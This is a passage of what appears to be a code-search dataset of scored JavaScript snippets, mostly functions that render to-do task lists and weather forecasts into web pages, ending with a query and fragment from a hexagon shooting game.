data-id='\"+tasks[i].id+\"'>Delete Task</button>\";\n var tasksOut = tasks[i].task_name;\n\n if (tasks[i].completed === true) {\n $('#checkDiv-'+tasks[i].id).addClass( \"completed\" );\n }\n\n $('#checkDiv-'+tasks[i].id).append(tasksOut + deleteButton + completeButton);\n }//end loop\n }", "title": "" }, { "docid": "e44c4fa99fd431afa49137165f07eab8", "score": "0.59914327", "text": "function updateDisplay (array, template, node) {\n\t\tfunction render (template, node) {\n\t\t\tif (!node) {return;}\n\t\t\tif(array.length <= 0) {\n\t\t\t\ttemplate += '<p class=\"tasks\">There is nothing to display. <span class=\"showCreateNewTask\" >Create a new task.</span></p>';\n\t\t\t\tnode.innerHTML = template;\n\t\t\t} else { \n\t\t\t\tfor (let p = 0; p < array.length; p++) {\n\t\t\t\t\ttemplate += `\n\t\t\t <div class=\"card taskCard\" id=\"${array[p].taskId}\" data-title=\"${array[p].title}\">\n\t\t <div class=\"title\"><h2>Title: ${array[p].title}</h2></div>\n\t\t <div class=\"details\" data-visible=\"no\">\n\t\t <div class=\"description\"><strong>Description:</strong> ${array[p].description}</div> \n\t\t <div class=\"dueDate\"><strong>Due Date:</strong> ${array[p].dueDate}</div>\n\t\t <div class=\"priority\"><strong>Priority:</strong> ${array[p].priority}</div>\n\t\t <div class=\"notes\"><strong>Notes:</strong> ${array[p].notes} </div> \n\t\t <div class=\"project\"><strong>Project:</strong> <span data-project=\"${array[p].project}\">${array[p].project}</span></div> \n\t\t <div class=\"completionStatus\"><strong>Status:</strong><label class=\"checkbox-container\">Completed\n <input type=\"checkbox\" name=\"completionStatus\" id=\"completionStatus\" ${array[p].completionStatus}>\n <span class=\"checkmark\"></span>\n \t</label></div> \n\t\t <button class=\"editTaskButton\"><i class=\"far fa-edit\" data-edit=\"${array[p].title}\"></i></button><button class=\"removeTaskButton\"><i class=\"far fa-trash-alt\" data-remove=\"${array[p].title}\"></i></button></div>\n\t\t\t\t\t\t</div></div>`;\n\t\t\t\t\tnode.innerHTML = template;\n\t\t\t\t};\n\t\t\t}\t\n\t\t }\n\t\trender(template, node);\n\t}", "title": "" }, { "docid": "211b086785371c0c0762159676255e48", "score": "0.59905726", "text": "function getAllTasks() {\n // Clear previous tasks\n $('.todolist').empty();\n\n axios.get(apiUrl).then(function(res) {\n var tasks = res.data;\n addTasksToPage(tasks);\n });\n}", "title": "" }, { "docid": "7041a366a6a8b44069302916733eefe1", "score": "0.5987915", "text": "function displayAllTasks() {\n // Get container DOM object: \n const taskContainer = document.getElementById(\"taskContainer\");\n // Load all tasks from local storage: \n const allTasks = loadTasks();\n // Clear previous data: \n taskContainer.innerHTML = \"\";\n // Display all tasks: \n let index = 0;\n for (const task of allTasks) {\n // Create new div: \n const divTaskCard = document.createElement(\"div\");\n const divDescription = document.createElement(\"div\");\n const divTimeAndDate = document.createElement(\"div\");\n //Create delete button\n const deleteButton = document.createElement(\"button\");\n //set class\n deleteButton.setAttribute(\"class\", \"deleteButton btn btn-outline-dark btn-md\");\n deleteButton.setAttribute(\"type\", \"button\");\n //add event\n deleteButton.setAttribute(\"onclick\", \"deleteNote(\" + index + \")\");\n //add the button to the div\n divTaskCard.appendChild(deleteButton);\n //create span for the glyphicons\n const span = document.createElement(\"span\");\n //set class to the span\n span.setAttribute(\"class\", \"glyphicon glyphicon-remove\");\n //add span to button\n deleteButton.appendChild(span);\n // Set class: \n divTaskCard.setAttribute(\"class\", \"note\"); // <div class=\"card\">\n divDescription.setAttribute(\"class\", \"description \"); // <div class=\"card\">\n divTimeAndDate.setAttribute(\"class\", \"timeAndDate\"); // <div class=\"card\">\n // Set task data: \n divDescription.innerHTML = \"<br>\" + task.Description;\n divTimeAndDate.innerHTML = \"Date: \" + task.date + \"<br> Time: \" + task.time;\n // Add div to container (will add it to the DOM):\n divTaskCard.appendChild(divDescription);\n divTaskCard.appendChild(divTimeAndDate);\n taskContainer.appendChild(divTaskCard);\n //Increases index:\n index++;\n }\n}", "title": "" }, { "docid": "ebdc4d2f249ab5617f183ec4a6381fee", "score": "0.5986915", "text": "function taskDOM(type){\n if(_Projects__WEBPACK_IMPORTED_MODULE_1__.todoSelector === 0){\n _Projects__WEBPACK_IMPORTED_MODULE_1__.currentProjectH1.innerText = 'Home'\n addListeners(_Task__WEBPACK_IMPORTED_MODULE_0__.home)\n clearTasks()\n ;(0,_Projects__WEBPACK_IMPORTED_MODULE_1__.showTasks)()\n }\n const taskList = document.querySelector('#task-list')\n for(let i=0; i<type.length; i++) { \n if(!todo[i]){ \n // Create task field \n todo[i] = document.createElement('div')\n todo[i].innerHTML = `<div class='left'><label class=\"check-label\">\n <input type='checkbox' class=\"check\" name=\"check\"><span class=\"span-check\"></span></label>\n <input type='text' class=\"task-name\">\n <p class='edit-titles active'></p></div>\n <div class='right'><p class='edit-dates active'>No Date</p><input type=\"date\" class=\"date\">\n <button class=\"remove\"><i class=\"fas fa-times\"></i></button></div>`\n todo[i].setAttribute('class', 'task')\n taskList.appendChild(todo[i])\n // Add field elements \n removeBtn[i] = document.querySelectorAll('.remove')[i]\n dates[i] = document.querySelectorAll('.date')[i]\n datesText[i] = document.querySelectorAll('.edit-dates')[i]\n checkbox[i] = document.querySelectorAll('.check')[i] \n editTitles[i] = document.querySelectorAll('.edit-titles')[i]\n checkbox[i].checked = type[i].checked\n editTitles[i].innerText = type[i].title \n if(type[i].date !== ''){datesText[i].innerText = type[i].date} \n }\n }\n addChanges(type)\n}", "title": "" }, { "docid": "7e6be1d0759ad9901c514df798a0e16e", "score": "0.5983515", "text": "dayAtAGlance() {\n\n // Add a section to the day-at-a-glance body for this module if there isn't one already.\n if (!$$(\"dayAtAGlanceScreen_Tasks\")) {\n $$(\"dayAtAGlanceBody\").addView({\n view : \"fieldset\", label : \"Tasks\",\n body : { id : \"dayAtAGlanceScreen_Tasks\", rows : [ ] }\n });\n $$(\"dayAtAGlanceBody\").addView({ height : 20 });\n }\n\n // Populate the day-at-a-glance screen.\n const template = webix.template(\"#subject#\");\n let dataItems = wxPIM.getModuleData(\"Tasks\");\n dataItems = wxPIM.objectAsArray(dataItems);\n wxPIM.sortArray(dataItems, \"value\", \"A\");\n const currentDate = new Date().setHours(0, 0, 0, 0);\n const rows = [ ];\n for (let i = 0; i < dataItems.length; i++) {\n const item = dataItems[i];\n const itemDate = new Date(item.dueDate).setHours(0, 0, 0, 0);\n if (itemDate == currentDate) {\n if (item.status == 1) {\n item.status = \"Ongoing\";\n } else {\n item.status = \"Completed\";\n }\n item.dueDate = webix.i18n.timeFormatStr(new Date(item.dueDate));\n rows.push({ borderless : true, template : template(item), height : 30 });\n }\n }\n webix.ui(rows, $$(\"dayAtAGlanceScreen_Tasks\"));\n\n }", "title": "" }, { "docid": "b6d6bdd96284ea52cf30490c779f7db1", "score": "0.5973987", "text": "function renderTask(toDoTask) {\n let myTask = $(\"#myTasks\"); //declaring variable and setting to my order list element\n myTask.empty(); // using the empty method\n let done = $('.done');\n\n //using the for loop to access the the parameter\n// myUpdatedTask.empty\n for (let i = 0; i < toDoTask.length; i++) {\n //appending the myTask to the dom\n myTask.append(`\n <li data-id = \"${toDoTask[i].id}\" \n data-task =\"${toDoTask[i].task}\" \n data-iscomplete =\"${toDoTask[i].iscomplete}\" ${\n toDoTask[i].iscomplete ? 'class=\"done\"' : \"\"\n } ${toDoTask[i].iscomplete ? 'class=\"done\"' : \"\"}> ${toDoTask[i].task} \n <button class = \"deleteBtn\">Delete</button>\n <button class =\"completeBtn\">✔️</button></li>`); \n }\n}", "title": "" }, { "docid": "59db2947e01c0d1ed4117e8dfcf45f38", "score": "0.5972962", "text": "function addTasksToPage(tasks) {\n tasks.forEach(function (task) {\n $('.todolist').append(createListItem(task));\n });\n}", "title": "" }, { "docid": "36f8f50942e35d15dd4c91c07cbbe241", "score": "0.5970685", "text": "function appendToDom(listOfTasks){\n $(\"#tasks\").empty();\n for(var i = 0; i < listOfTasks.length; i++){\n var task = listOfTasks[i];\n //convert dates to formats to be displayed and compared\n var completeBy = new Date(task.complete_by).toDateString();\n var comp = Date.parse(completeBy);\n var today = Date.parse(new Date().toDateString());\n //Check if task is complete to determine class\n var $tr = $(\"<tr class='\"+ task.id + task.task_name + \"'></tr>\")\n $tr.append(\"<td class='name'>\" + task.task_name + \"</td>\")\n //compare dates to determine class\n if(today == comp){\n $tr.addClass(\"doToday\");\n }\n else if(today > comp){\n $tr.addClass(\"overdue\")\n }\n $tr.append(\"<td>\" + completeBy + \"</td>\");\n //check if task is complete\n if(task.complete == true){\n $tr.append(\"<td class='center'>Yes</td>\");\n $tr.append(\"<td></td>\")\n $tr.removeClass('doToday overdue')\n $tr.addClass(\"complete\")\n }\n else if(task.complete == false){\n $tr.append(\"<td class='center'>No</td>\");\n $tr.append(\"<td class='center'><button class='completeBtn' data-id='\" + task.id + \"'>Task Completed</button></td>\")\n $tr.addClass(\"incomplete\")\n }\n $tr.append(\"<td class='center'><button class='deleteBtn' data-id='\" + task.id + \"'>Delete</button></td>\")\n $('#tasks').append($tr);\n }\n}", "title": "" }, { "docid": "7027722be059835975b62630d74ee0b5", "score": "0.59659994", "text": "function outputTasks (A) {\n var taskList = \"\";\n for (var i = 0; i < A.length; i++) {\n taskList = taskList.concat(`Task ${i + 1}: ` + A[i][0] + \"<br>\" + A[i][1] + \"<br><br>\");\n }\n return taskList;\n}", "title": "" }, { "docid": "f4e5bdc2c30af4d89eb82f5454d9b46c", "score": "0.5955769", "text": "generateTaskHtml(task, index) {\n //\n return `\n <li class=\"list-group-item checkbox\">\n <div class=\"row\">\n <div class=\"col-md-1 col-xs-1 col-lg-1 col-sm-1 checkbox\">\n <label><input id=\"toggleTaskStatus\" type=\"checkbox\" \n onchange=\"toDo.toggleTaskStatus(${index})\" value=\"\" class=\"\" \n ${task.isComplete ? 'checked' : ''}></label>\n </div>\n <div class=\"col-md-10 col-xs-10 col-lg-10 col-sm-10 task-text ${task.isComplete ? 'complete' : ''}\">\n ${task.task}\n </div>\n <div class=\"col-md-1 col-xs-1 col-lg-1 col-sm-1 delete-icon-area\">\n <a class=\"\" href=\"/\" onClick=\"toDo.deleteTask(event, ${index})\"><i \n id=\"deleteTask\" data-id=\"${index}\" class=\"delete-icon glyphicon \n glyphicon-trash\"></i></a>\n </div>\n </div>\n </li>\n `;\n }", "title": "" }, { "docid": "480356993b0db4569b659a9cfe48a966", "score": "0.5950897", "text": "function create7DaysReport(data){ \n console.log(data) \n console.log(htmltext) \n htmltext += `<table id=\"table\" class=\"table table-dark table-striped\">`\n console.log(htmltext) \n htmltext += `<thead>`\n htmltext += `<tr >`\n htmltext += `<th scope=\"col\">Date</th>`\n htmltext += `<th scope=\"col\">Min</th>`\n htmltext += `<th scope=\"col\">Max</th>`\n htmltext += `<th scope=\"col\">Weather</th>` \n htmltext += `</tr>` \n htmltext += `</thead>`\n htmltext += `<tbody>`\n data.daily.map(el =>{ \n htmltext += `<tr >`\n htmltext += `<th scope=\"row\">${nextDayDate()}</th>`\n htmltext += `<th scope=\"row\">${el.temp.min} &#186F</th>`\n htmltext += `<th scope=\"row\">${el.temp.max} &#186F</th>`\n htmltext += `<th scope=\"row\"><img src=\"http://openweathermap.org/img/wn/${el.weather[0].icon}@2x.png\" alt=\"icon\"></th>` \n htmltext += `</tr>` \n }) \n htmltext += `</tbody>`\n htmltext += `</table>`\n //reset current date\n nextDay = new Date();\n nextDay.setDate(nextDay.getDate() - 1 );\n //insert in page \n info.innerHTML = htmltext; \n return data;\n }", "title": "" }, { "docid": "8dc80eeb79c733f3ef6485c4db959c0c", "score": "0.59497297", "text": "function displayCompletedTasks() {\n // get the current table\n var table = $(\"#conan-history-table\").dataTable();\n\n // clear it\n table.fnClearTable(false);\n\n // and re-add all our completed tasks\n for (var i = 0; i < completedTasks.length; i++) {\n var completedTask = completedTasks[i];\n\n var pipelineCol;\n var nameCol;\n var date = new Date(completedTask.completionDate);\n var dateStr = date.toLocaleTimeString() + \", \" + date.toDateString();\n // if this task was aborted, add note\n if (completedTask.currentState == \"ABORTED\") {\n if (completedTask.lastProcess == undefined) {\n dateStr = dateStr + \" (Stopped before the first process)\";\n }\n else {\n dateStr = dateStr + \" (Stopped at \" + completedTask.lastProcess.name + \")\";\n }\n }\n\n if (completedTask.pipeline == undefined) {\n pipelineCol = \"unknown\";\n }\n else {\n pipelineCol = completedTask.pipeline.name;\n }\n\n if (completedTask.submitter.firstName == undefined) {\n nameCol = completedTask.submitter.surname;\n }\n else {\n nameCol = completedTask.submitter.firstName + \" \" + completedTask.submitter.surname;\n }\n\n table.fnAddData([\n \"<a id=\\\"task_\" + completedTask.id + \"\\\" href=\\\"summary/\" + completedTask.id +\n \"\\\" target=\\\"_blank\\\">\" +\n completedTask.name +\n \"</a>\",\n pipelineCol,\n nameCol,\n dateStr], false);\n }\n\n // redraw table\n table.fnStandingRedraw();\n}", "title": "" }, { "docid": "e133a5c92c940aba1b3a439942f5bd44", "score": "0.5945092", "text": "function displayFiveDay(fiveDayArr) {\n console.log(fiveDayArr);\n $(\"#five-day-forcast-row\").html(\"\");\n // use for loop to target the next 5 days. start the array at i=1 to target tomorrow and stop at the 2 last element in the array (array has 7 days in it)\n for (i = 1; i < fiveDayArr.length - 2; i++) {\n var dtObj = moment.unix(fiveDayArr[i].dt);\n var dtStr = dtObj.format(\"MMM D\");\n var temp = fiveDayArr[i].temp.day;\n var humidity = fiveDayArr[i].humidity;\n var fiveDayIconURL = `http://openweathermap.org/img/w/${fiveDayArr[i].weather[0].icon}.png`;\n // create code block for the cards that will hold the forcast summary\n var codeBlock = ` <div class=\"card shadow-lg p-3 mb-5 bg-white rounded col-md-2\">\n <div class=\"card-header\">\n <h3 class=\"\">${dtStr}</h3>\n \n </div>\n <div class=\"card-body\">\n <img src=\"${fiveDayIconURL}\" alt=\"...\">\n \n \n <h6>Temp: ${temp}</h6>\n <h6>Humidity: ${humidity}</h6>\n </div>\n </div>`\n\n // <img src=\"${fiveDayIconURL}\">\n // append code block to the page\n $(\"#five-day-forcast-row\").append(codeBlock);\n }\n }", "title": "" }, { "docid": "eb206fcb8344069e9bdaa8ec834a11c1", "score": "0.5930274", "text": "function temp (responseText) {\n for (int i = 0; i < responseText.length; i++) {\n let dateFull = responseText[i].date;\n let date = dateFull.split(\"T\");\n date = date[0];\n DateTimeFormatter formatter = DateTimeFormatter.ofPattern(\"YYYY-MM-DD\");\n LocalDate localDate = LocalDate.parse(date, formatter);\n let values = date.split(\"-\");\n let dateString = localDate.getDayOfMonth() + \" \" + localDate.getMonthName() + \" \" + \n values[2] + \" \" + values[0];\n let div = document.createElement(\"div\");\n div.className = \"calendar__day\";\n document.getElementByClassName(\"event\")[0].appendChild(div);\n div.className = \"title\";\n let current = document.getElementByClassName(\"calendar__day\")[i].appendChild(div);\n current.innerHTML = dateString;\n // traverses through all of the events scheduled that day\n for (int j = 0; j < responseText[i].events.length; j++) {\n // Will create div tags for all of the different values i.e id, name, dateTime, \n // duration, brief\n }\n }\n }", "title": "" }, { "docid": "b6577d58007d1b34d909474abe95bd4c", "score": "0.5913497", "text": "function createNoTasks() {\n // create no tasks element\n let spanMsg = document.createElement(\"span\"),\n // create text for no msg span\n spanMsgText = document.createTextNode(\"No tasks to show\");\n\n // Add class to no tasks span\n spanMsg.className = \"no-tasks-msg\";\n\n //Append span text to the msg span\n spanMsg.appendChild(spanMsgText);\n\n // append span msg to tasks content element\n tasksContent.appendChild(spanMsg);\n}", "title": "" }, { "docid": "c0f4e2a84e70bc0cf75fb371caf925ca", "score": "0.59092706", "text": "function displayTasks(response){\n console.log('in displayTasks', response);\n let el = $(\"#viewTasks\");\n // console.log(el);\n el.empty();\n for(let i = 0; i < response.length; i++) {\n if (response[i].status == \"Not Complete\") {\n el.append(`<tr data-id=${response[i].id}>\n <td>${response[i].task}</td> <td>${response[i].notes}</td> <td class=\"red\">${response[i].status}</td>\n <td><button class=\"completeButton\">Completed</button></td>\n <td><button class=\"deleteButton\">Delete</button></td>\n </tr>`);\n ;\n } \n else if (response[i].status == \"Complete\") {\n el.append(`<tr data-id=${response[i].id} class=\"green\">\n <td>${response[i].task}</td> <td>${response[i].notes}</td> <td>${response[i].status}</td>\n <td><button class=\"completeButton\">Completed</button></td>\n <td><button class=\"deleteButton\">Delete</button></td>\n </tr>`);\n \n } //end conditional\n} //end for loop\n}//end displayTasks", "title": "" }, { "docid": "6861b7ea818bfa333af03402c04ab377", "score": "0.5908762", "text": "function renderTask(taskObj) {\n // format date\n let dateStr = \"\";\n let date = new Date(taskObj.date);\n dateStr = changeDateFormat(date);\n\n const strContainerDiv = /*html*/ `\n <div class=\"todo-container\">\n <button class=\"highlight\" onclick=\"this.parentElement.classList.toggle('highlighted');\">\n <i class=\"fas fa-highlighter\"></i>\n </button>\n <div class=\"todo-priority\">${taskObj.priority}</div>\n <div class=\"todo-created-at\">${dateStr}</div>\n <div class=\"todo-text\">${taskObj.text}</div>\n <button class=\"edit-btn\" onclick=\"editText('${taskObj.id}')\">\n <i class=\"fas fa-edit\"></i>\n </button>\n <button class=\"complete-btn\" onclick=\"this.parentElement.classList.toggle('completed');\">\n <i class=\"fas fa-check\"></i>\n </button>\n <button class=\"trash-btn\" onclick=\"deleteAndCheck('${taskObj.id}')\">\n <i class=\"fas fa-trash\"></i>\n </button>\n </div>\n `;\n elList.insertAdjacentHTML(\"beforeend\", strContainerDiv);\n}", "title": "" }, { "docid": "fd0f0167a7049eb25912063a9577b390", "score": "0.5907787", "text": "function getAllTasks(){\n $.ajax({\n type: 'GET',\n url: '/allTasks',\n success: function(data){\n displayTasks(data);\n }\n });\n }", "title": "" }, { "docid": "bb97aa76cfbf08ea4866372bffd3387d", "score": "0.58940166", "text": "function renderLastTasks(){\n var task = localStorage.getItem('task')\n var taskID = localStorage.getItem('id');\n document.getElementById('09').children[1].textContent = task;\n document.getElementById('10').children[1].textContent = task;\n document.getElementById('11').children[1].textContent = task;\n document.getElementById('12').children[1].textContent = task;\n document.getElementById('13').children[1].textContent = task;\n document.getElementById('14').children[1].textContent = task;\n document.getElementById('15').children[1].textContent = task;\n document.getElementById('16').children[1].textContent = task;\n }", "title": "" }, { "docid": "1b08760c8d313eaea2d1e5d45b327768", "score": "0.5886616", "text": "function appendToDom(task){\n $('#updateTasks').empty();\n for(var i = 0; i < task.length; i += 1) {\n var tasks = task[i];\n console.log(task[i]);\n // For each task, append a new row to our table\n $tr = $('<tr></tr>');\n $tr.data('task', task);\n $tr.append('<td>' + tasks.task + '</td>');\n $tr.append('<td><button class=\"completeBtn\" data-completetask=\"' + tasks.id + '\">Task Complete</button></td>');\n $tr.append('<td><button class=\"deleteBtn\" data-taskid=\"' + tasks.id + '\">Delete</button></td>');\n\n $('#updateTasks').append($tr);\n}\n}", "title": "" }, { "docid": "eec92fc37e4d72142d1251d883078f23", "score": "0.58808875", "text": "function logTasks(taskArr){\n for (var i = 0; i < taskArr.length; i ++){\n console.log(i + '. ' + taskArr[i].title + '. Completed: ' + taskArr[i].completed) //might change to take a call back because it just give's false \n }\n }", "title": "" }, { "docid": "9fb747de9aaf8b1c8eea094727bf578e", "score": "0.5869991", "text": "display() {\n this.parent.innerHTML = \"\";//Refresh the landing page\n //String for card heading in landing page\n var cardheading = `<div class=\"card mb-3\" id=\"tasksummary\">\n <div class=\"card-header pl-0 pr-0\">\n <div class=\"row no-gutters w-100 align-items-center\">\n <div class=\"col ml-3\"><strong>Tasks</strong></div>\n <div class=\"col-4\">\n <div class=\"row no-gutters align-items-center\">\n <div class=\"col\"><strong>Edit/Delete</strong></div>\n </div>\n </div>\n </div>\n </div>`;\n //Check if the browser is refreshed/closed\n if (this.tasks.length < 1) {\n //Get data from local storage\n let displayArray = JSON.parse(localStorage.getItem(\"myTask\")) || [];\n //console.log(displayArray);\n //Check if local storage is empty ( cleared )\n if (displayArray.length < 1){\n cardheading = \"\"; //No cardheading in the landing page\n }\n else { //Data is in local storage and should be displayed on main page\n for (let i = 0; i < displayArray.length; i++ ){\n const dtask = new Task(displayArray[i].id, displayArray[i].name, displayArray[i].description, displayArray[i].assignee, displayArray[i].date, displayArray[i].status);\n this.tasks.push(dtask); \n }\n const helement = document.createRange().createContextualFragment(cardheading);\n this.parent.append(helement);\n this.tasks.forEach((dtask) => {\n //console.log(dtask);\n const taskElement = dtask.toHtmlElement(this.editTaskClicked, this.deleteTaskClicked);\n this.parent.append(taskElement);\n });\n }\n } \n else {\n const helement = document.createRange().createContextualFragment(cardheading);\n this.parent.append(helement);\n this.tasks.forEach((task) => {\n //console.log(task);\n const taskElement = task.toHtmlElement(this.editTaskClicked, this.deleteTaskClicked);\n this.parent.append(taskElement);\n });\n\n }\n\n }", "title": "" }, { "docid": "750bec5318ccda2c5c37661a07590220", "score": "0.5869677", "text": "function renderList() {\n elList.innerHTML = \"\";\n counter = todoList.length;\n todoList.forEach((todo) => {\n renderTask(todo);\n });\n}", "title": "" }, { "docid": "e371a74eb486a6b13ac9934e14597bf9", "score": "0.5869421", "text": "function displayTaskList() {\n let taskList = document.querySelector('#task-list');\n\n // Remove the current task list.\n taskList.innerHTML = '';\n\n // Create a new task list.\n for (let i = 0; i < tasks.length; ++i) {\n let li = document.createElement('li');\n let liText = document.createTextNode(`Task assigned to ${tasks[i].assignee}, difficulty=${tasks[i].difficulty}, ${tasks[i].description}`);\n\n li.appendChild(liText);\n taskList.appendChild(li);\n }\n}", "title": "" }, { "docid": "d4b294772bcbb64929485e6b4f339f45", "score": "0.58594966", "text": "function displayDOM(tasks) {\n $('#taskDisplay').empty();\n // empty DOM and loop\n for (let i = 0; i < tasks.length; i += 1) {\n let task = tasks[i];\n // For each task, append a new row.\n if ( task.completed === false ) {\n let $be = $('<tr></tr>');\n $be.data('task', task);\n $be.append(`<td>${task.task}</td>`);\n $be.append(`<td>${task.completed}</td>`);\n $be.append(`<td><button class=\"update\" data-id=\"${task.id}\">Cross Off</button></td>`);\n $be.append(`<td><button class=\"deleteThis\" data-id=\"${task.id}\">Delete</button></td>`);\n $('#taskDisplay').append($be);\n } // end if\n else {\n let $be = $('<tr class=\"td\"></tr>');\n $be.data('task', task);\n $be.append(`<td>${task.task}</td>`);\n $be.append(`<td>${task.completed}</td>`);\n $be.append(`<td><button class=\"update\" data-id=\"${task.id}\">Cross Off</button></td>`);\n $be.append(`<td><button class=\"deleteThis\" data-id=\"${task.id}\">Delete</button></td>`);\n $('#taskDisplay').append($be); \n } // end else\n } // end forLoop\n $( '.deleteThis' ).on( 'click', deleteTask );\n $( '.update' ).on( 'click', updateTask );\n} // displayDOM", "title": "" }, { "docid": "c27f82480b87a35770794ec5dd9df930", "score": "0.5858601", "text": "renderTasks(){\n let displayTasks = []\n let breaker = false\n this.props.taskList.document.nodes.map((block, i) => {\n if (block.type == \"separator\") breaker = true;\n if (breaker) return\n if (Constants.showInTimeline.indexOf(block.type) >= 0 && block.text != \"\") displayTasks.push(block)\n })\n displayTasks = _.sortBy(displayTasks, (task) => {\n return task.data.get(\"positionTop\")\n })\n\n let taskComponents = []\n _.each(displayTasks, (block, i) => {\n taskComponents.push(\n <Task\n key={i}\n taskKey={block.key}\n block={block}\n nowMarkerTop={this.props.markerPositionTop}\n moveTask={this.moveTask.bind(this)}\n resizeTask={this.resizeTask.bind(this)}\n resizeTimelineWidth={this.resizeTimelineWidth.bind(this)}\n scrollTop={this.scrollTop.bind(this)}\n />\n )\n })\n return taskComponents.length > 0 ? taskComponents : null\n }", "title": "" }, { "docid": "82f6ee104bc48900183c27dcc2311bef", "score": "0.5857074", "text": "renderTasks(tasks) {\n // clear element before rendering\n this.clearElement(this.currentListContainer);\n\n // set list name\n this.currentListName.textContent = storageAndData.findSelectedList().name;\n\n // check if there are any tasks\n if (tasks.length === 0) {\n // if no tasks show empty tasks message\n this.currentListContainer.innerHTML = `<div class=\"empty-message-container\" data-empty-message-container><img\n src=\"https://img.icons8.com/ios/100/000000/empty-box.png\" />\n <p data-message-paragraph>No tasks created<br> use the plus to create a new task</p>\n </div>`;\n } else {\n // get tasks from list and sort\n const sortedTasks = storageAndData.sortTasks(tasks);\n\n // loop through tasks\n sortedTasks.forEach((task) => {\n // create task-card element\n const taskCard = document.createElement('div');\n\n // add id task id in dataset to task card\n taskCard.dataset.id = task.id;\n\n //check priority level and apply appropriate classes\n if (task.priority === '1') {\n taskCard.className = 'task-card card top-priority';\n } else if (task.priority === '2') {\n taskCard.className = 'task-card card mid-priority';\n } else {\n taskCard.className = 'task-card card low-priority';\n }\n\n // set innerHtml using values from task\n taskCard.innerHTML = `\n <div class=\"task-card-header text-center mt-3\">${task.name}</div>\n <a href=\"\"class=\"editBtn\"><i class=\"fas fa-edit text-muted\" data-toggle=\"modal\"\n data-target=\"#editModal\"></i></a>\n <p class=\"date-deadline text-muted text-center\">Due ${formatDistanceToNow(\n new Date(task.date),\n { addSuffix: true }\n )}</p>\n <div class=\"card-body text-muted pt-0 text-center task-notes\">\n ${task.notes}\n </div>\n <div class=\"task-card-footer mb-1\">\n <div class=\"complete-label\">mark as complete:</div>\n <div class=\"task-card-btns-container\">\n <label class=\"checkbox-container\">\n <input class=\"checkbox\" type=\"checkbox\">\n <span class=\"checkmark\"></span>\n </label>\n <a href=\"\"class=\"deleteBtn\"><i class=\"fas fa-trash-alt text-muted\"></i></a>\n </div>\n </div>\n `;\n\n // Select checkbox\n const checkbox = taskCard.querySelector('.checkbox');\n\n // Check if task is complete\n if (task.completed === true) {\n // If task complete, check box add completed class to task card\n checkbox.checked = true;\n taskCard.classList.add('completed');\n }\n\n // append task card to container\n this.currentListContainer.appendChild(taskCard);\n });\n }\n }", "title": "" }, { "docid": "64dc56b6b4f1535f4c8ad8540a235f79", "score": "0.5856404", "text": "function loadAndDisplayTasks(){\r\n\tloadTasks();\r\n\tdisplayTasks();\r\n}", "title": "" }, { "docid": "582697cdb6a4c5aa64f275638e52eb53", "score": "0.5854152", "text": "get Tasks() {\n // TODO create template \n let template = \"\";\n this.tasks.forEach(task => {\n template += task.Template(this.id)\n });\n return template;\n }", "title": "" }, { "docid": "338268c41ec598b3c6428cfda19f73d2", "score": "0.5849361", "text": "getDays() {\n //dynamic listing of days. get the days of the events and push them uniquely to an array\n console.log('dynamic listing of days has started...')\n console.log('example of an event: ', this.events[0]);\n this.days = []; //array of objects to be used such as full date, day of week, etc..\n let count = []; //check so that only unique days are being pushed to 'this.days' array\n this.events.forEach(event => {\n if (count.indexOf(event.day) === -1 && event.day_of_week) {\n let day = {\n dayNum: event.day,\n dayName: event.day_of_week,\n month: 'Jul'\n }\n this.days.push(day)\n count.push(event.day)\n }\n })\n\n //sort the days so it is chronological\n this.days.sort((subfunctions.compareDay)) //subfunctions.js --> { subfunctions }\n\n //use the generated days to populate the html page\n this.populateDays();\n }", "title": "" }, { "docid": "56a3f706d36f58a2f0fc5a0f23396198", "score": "0.58444077", "text": "function getTasks() {\n let taskArray;\n\n // Check if anything is inside the dom\n if (localStorage.getItem(\"taskArray\") === null) {\n taskArray = [];\n } else {\n taskArray = JSON.parse(localStorage.getItem(\"taskArray\"));\n }\n\n // For each task in the array, we create taskItem in the html file\n taskArray.forEach(function(taskItem) {\n // Create li element & set class name\n const li = document.createElement(\"li\");\n li.className = \"taskItem\";\n // Create text node & append to the li\n li.appendChild(document.createTextNode(taskItem));\n // Create delete icon & add class\n deleteIcon = document.createElement(\"i\");\n deleteIcon.id = \"deleteItem\";\n deleteIcon.className = \"far fa-times-circle\";\n // Append the icon to the li\n li.appendChild(deleteIcon);\n\n // Append the li to the ul\n ui_taskList.appendChild(li);\n });\n}", "title": "" }, { "docid": "a2ea25692b489d4a920a55226ee0e321", "score": "0.58396286", "text": "function colorTaskDates()\n{\n var firstWeekOfMonth = new Date(pageYear, pageMonth - 1, 1).getDay();\n for (var i = 0; i < thisMonthDateList.length; i++)\n {\n if (thisMonthDateList[i] == 1)\n {\n if (firstWeekOfMonth + i < 35)\n {\n var formDay = document.getElementById('formDay' + (firstWeekOfMonth + i));\n formDay.innerHTML = '<span style=\"text-decoration:underline;\">' + formDay.innerHTML + '</span>';\n }\n else\n {\n var formDay = document.getElementById('formDay' + (firstWeekOfMonth + i - 7));\n formDay.innerHTML = '<span style=\"text-decoration:underline;\">' + formDay.innerHTML + '</span>';\n }\n }\n }\n}", "title": "" } ]
ad1f03ffe869c053ba147b8239473a39
function for shooting the hexagon
[ { "docid": "994485577b1b9dc7d0dba9c2af62d459", "score": "0.57354", "text": "function mouseReleased(){\r\n slingShot.fly();\r\n \r\n}", "title": "" } ]
[ { "docid": "cbd92ccde384d88cd992f9799bade8c4", "score": "0.65005356", "text": "function shoot(ev){\n if(phase_jeu != 1) return;\n\n //recherche de l'angle\n let x = ev.offsetX;\n let y = ev.offsetY;\n \n //donne l'origine\n let dx = x - oriShoot.x;\n let dy = y - oriShoot.y;\n\n //on récupère l'angle de tir\n let angle = Math.atan(dy / dx);\n if(x < oriShoot.x){\n angle += Math.PI;\n }\n\n //on passe la masse du projectile à l'infini\n bird.mass = 10;\n bird.invMass = 1/bird.mass;\n\n //on lance le projectile dans la direction voulue\n bird.force = new Vector(Math.cos(angle) * -0.2 * (puissance /100) * bird.mass,\n Math.sin(angle) * -0.2 * (puissance /100) * bird.mass);\n\n //on incrémente les tirs\n setTirs();\n\n //on trie pour remettre les objets les plus lourds à la fin\n trie();\n\n return;\n}", "title": "" }, { "docid": "e8be5b5a301c361ddbcb16b69c5a2f73", "score": "0.6228699", "text": "function RangeTarget() {\n ResetHexes();\n var x = this.mech.x;\n var y = this.mech.y;\n \n \n for (var dx = -this.range; -this.range <= dx && this.range >= dx; dx++) {\n for (var dy = -this.range; -this.range <= dy && this.range >= dy; dy++) {\n for (var dz = -this.range; -this.range <= dz && 